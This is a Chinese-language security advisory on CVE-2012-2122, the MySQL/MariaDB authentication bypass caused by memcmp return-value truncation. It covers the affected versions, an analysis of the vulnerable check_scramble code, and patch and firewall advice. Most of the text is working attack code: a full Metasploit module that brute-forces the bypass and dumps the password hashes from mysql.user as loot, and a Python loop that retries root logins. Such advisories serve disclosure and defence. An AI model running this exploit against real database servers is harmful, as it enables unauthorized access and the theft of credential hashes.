漏洞版本:

All MariaDB
       MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22

漏洞描述:
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。
  漏洞分析:出问题的代码如下
 
 
   
  1. my_bool check_scramble(const uchar *scramble_arg, const char *message,  
  2.                const uint8 *hash_stage2)  
  3. {  
  4.   SHA1_CONTEXT sha1_context;  
  5.   uint8 buf[SHA1_HASH_SIZE];  
  6.   uint8 hash_stage2_reassured[SHA1_HASH_SIZE];  
  7.  
  8.   mysql_sha1_reset(&sha1_context);  
  9.   /* create key to encrypt scramble */ mysql_sha1_input(&sha1_context, (const uint8 *) message, SCRAMBLE_LENGTH);  
  10.   mysql_sha1_input(&sha1_context, hash_stage2, SHA1_HASH_SIZE);  
  11.   mysql_sha1_result(&sha1_context, buf);  
  12.   /* encrypt scramble */ my_crypt((char *) buf, buf, scramble_arg, SCRAMBLE_LENGTH);  
  13.   /* now buf supposedly contains hash_stage1: so we can get hash_stage2 */ mysql_sha1_reset(&sha1_context);  
  14.   mysql_sha1_input(&sha1_context, buf, SHA1_HASH_SIZE);  
  15.   mysql_sha1_result(&sha1_context, hash_stage2_reassured);  
  16.   return memcmp(hash_stage2, hash_stage2_reassured, SHA1_HASH_SIZE);  

memcmp的返回值实际上是int,而my_bool实际上是char。那么在把int转换成char的时候,就有可能发生截断。比如,memcmp返回0×200,截断后变成了0,调用check_scramble函数的就误以为“password is correct“。

 

但是一般来说,memcmp的返回值都在[127,-128]之内,把两个字符串逐个字符的比较,如果找到不一样的,就把这两个字符相减后返回。但是这样逐个逐个的比较,速度太慢。而且C语言标准中并没有要求返回值一定在char的可表示范围内。Linux的glibc一般使用的是SSE优化后的代码,它会一次读取多个字节,然后相减,结果可能是一个很大的数。但是一般来讲,在拿GCC编译C/C++程序的时候,对于memcmp/memcpy这样的常用函数,GCC会优先使用编译器内置的实现(而非glibc中的)。所以这个BUG只在特定的编译环境下才会触发:即编译MySQL的时候在CFLAGS中加了-fno-builtin,并且所使用的glibc是经SSE优化后的(最近今年的发行版自带的都是如此)。

测试方法:
本站提供程序(方法)可能带有***性,仅供安全研究与教学之用,风险自负!
  1. ##
  2. # $Id$
  3. ##
  4.  
  5. ##
  6. # This file is part of the Metasploit Framework and may be subject to
  7. # redistribution and commercial restrictions. Please see the Metasploit
  8. # web site for more information on licensing and terms of use.
  9. # http://metasploit.com/
  10. ##
  11.  
  12. require 'msf/core'
  13.  
  14. class Metasploit3 < Msf::Auxiliary
  15.  
  16. include Msf::Exploit::Remote::MYSQL
  17. include Msf::Auxiliary::Report
  18.  
  19. include Msf::Auxiliary::Scanner
  20.  
  21. def initialize
  22. super(
  23. 'Name' => 'MYSQL CVE-2012-2122 Authentication Bypass Password Dump',
  24. 'Version' => '$Revision$',
  25. 'Description' => %Q{
  26. This module exploits a password bypass vulnerability in MySQL in order
  27. to extract the usernames and encrypted password hashes from a MySQL server.
  28. These hashes ares stored as loot for later cracking.
  29. },
  30. 'Authors' => [
  31. 'TheLightCosine <thelightcosine[at]metasploit.com>', # Original hashdump module
  32. 'jcran' # Authentication bypass bruteforce implementation
  33. ],
  34. 'References' => [
  35. ['CVE', '2012-2122']
  36. ],
  37. 'DisclosureDate' => 'Jun 09 2012',
  38. 'License' => MSF_LICENSE
  39. )
  40.  
  41. deregister_options('PASSWORD')
  42. end
  43.  
  44.  
  45. def run_host(ip)
  46.  
  47. # Keep track of results (successful connections)
  48. results = []
  49.  
  50. # Username and password placeholders
  51. username = datastore['USERNAME']
  52. password = Rex::Text.rand_text_alpha(rand(8)+1)
  53.  
  54. # Do an initial check to see if we can log into the server at all
  55. begin
  56. socket = connect(false)
  57. x = ::RbMysql.connect({
  58. :host => rhost,
  59. :port => rport,
  60. :user => username,
  61. :password => password,
  62. :read_timeout => 300,
  63. :write_timeout => 300,
  64. :socket => socket
  65. })
  66. x.connect
  67. results << x
  68.  
  69. print_good "#{rhost}:#{rport} The server accepted our first login as #{username} with a bad password"
  70.  
  71. rescue RbMysql::HostNotPrivileged
  72. print_error "#{rhost}:#{rport} Unable to login from this host due to policy (may still be vulnerable)"
  73. return
  74. rescue RbMysql::AccessDeniedError
  75. print_good "#{rhost}:#{rport} The server allows logins, proceeding with bypass test"
  76. rescue ::Interrupt
  77. raise $!
  78. rescue ::Exception => e
  79. print_error "#{rhost}:#{rport} Error: #{e}"
  80. return
  81. end
  82.  
  83. # Short circuit if we already won
  84. if results.length > 0
  85. @mysql_handle = results.first
  86. return dump_hashes
  87. end
  88.  
  89.  
  90. #
  91. # Threaded login checker
  92. #
  93. max_threads = 16
  94. cur_threads = []
  95.  
  96. # Try up to 1000 times just to be sure
  97. queue = [*(1 .. 1000)]
  98.  
  99. while(queue.length > 0)
  100. while(cur_threads.length < max_threads)
  101.  
  102. # We can stop if we get a valid login
  103. break if results.length > 0
  104.  
  105. # keep track of how many attempts we've made
  106. item = queue.shift
  107.  
  108. # We can stop if we reach 1000 tries
  109. break if not item
  110.  
  111.  
  112. # Status indicator
  113. print_status "#{rhost}:#{rport} Authentication bypass is #{item/10}% complete" if (item % 100) == 0
  114.  
  115. t = Thread.new(item) do |count|
  116. begin
  117. # Create our socket and make the connection
  118. s = connect(false)
  119. x = ::RbMysql.connect({
  120. :host => rhost,
  121. :port => rport,
  122. :user => username,
  123. :password => password,
  124. :read_timeout => 300,
  125. :write_timeout => 300,
  126. :socket => s,
  127. :db => nil
  128. })
  129. print_status "#{rhost}:#{rport} Successfully bypassed authentication after #{count} attempts"
  130. results << x
  131. rescue RbMysql::AccessDeniedError
  132. rescue Exception => e
  133. print_status "#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}"
  134. end
  135. end
  136.  
  137. cur_threads << t
  138.  
  139. end
  140.  
  141. # We can stop if we get a valid login
  142. break if results.length > 0
  143.  
  144. # Add to a list of dead threads if we're finished
  145. cur_threads.each_index do |ti|
  146. t = cur_threads[ti]
  147. if not t.alive?
  148. cur_threads[ti] = nil
  149. end
  150. end
  151.  
  152. # Remove any dead threads from the set
  153. cur_threads.delete(nil)
  154.  
  155. ::IO.select(nil, nil, nil, 0.25)
  156. end
  157.  
  158. # Clean up any remaining threads
  159. cur_threads.each {|x| x.kill }
  160.  
  161.  
  162. if results.length > 0
  163. print_good("#{rhost}:#{rport} Successful exploited the authentication bypass flaw, dumping hashes...")
  164. @mysql_handle = results.first
  165. return dump_hashes
  166. end
  167.  
  168. print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
  169. end
  170.  
  171. def dump_hashes
  172.  
  173. # Grabs the username and password hashes and stores them as loot
  174. res = mysql_query("SELECT user,password from mysql.user")
  175. if res.nil?
  176. print_error("#{rhost}:#{rport} There was an error reading the MySQL User Table")
  177. return
  178.  
  179. end
  180.  
  181. # Create a table to store data
  182. tbl = Rex::Ui::Text::Table.new(
  183. 'Header' => 'MysQL Server Hashes',
  184. 'Indent' => 1,
  185. 'Columns' => ['Username', 'Hash']
  186. )
  187.  
  188. if res.size > 0
  189. res.each do |row|
  190. next unless (row[0].to_s + row[1].to_s).length > 0
  191. tbl << [row[0], row[1]]
  192. print_good("#{rhost}:#{rport} Saving HashString as Loot: #{row[0]}:#{row[1]}")
  193. end
  194. end
  195.  
  196. this_service = nil
  197. if framework.db and framework.db.active
  198. this_service = report_service(
  199. :host => rhost,
  200. :port => rport,
  201. :name => 'mysql',
  202. :proto => 'tcp'
  203. )
  204. end
  205.  
  206. report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty?
  207.  
  208. end
  209.  
  210. # Stores the Hash Table as Loot for Later Cracking
  211. def report_hashes(hash_loot,service)
  212. filename= "#{rhost}-#{rport}_mysqlhashes.txt"
  213. path = store_loot("mysql.hashes", "text/plain", rhost, hash_loot, filename, "MySQL Hashes", service)
  214. print_status("#{rhost}:#{rport} Hash Table has been saved: #{path}")
  215.  
  216. end
  217.  
  218. end
  219.  
  220.  
  221. ########################################################################################
  222. 测试方法,2
  223.  
  224. #!/usr/bin/python
  225. import subprocess
  226.  
  227. while 1:
  228. subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()
安全建议:
 
  
  1. 升级官方补丁:  
  2.  
  3. MariaDB 5.1.62, 5.2.12, 5.3.6, 5.5.23  
  4. MySQL 5.1.63, 5.5.24, 5.6.6  
  5.  
  6. Sebug临时解决办法:  
  7. 在防火墙上关闭mysql端口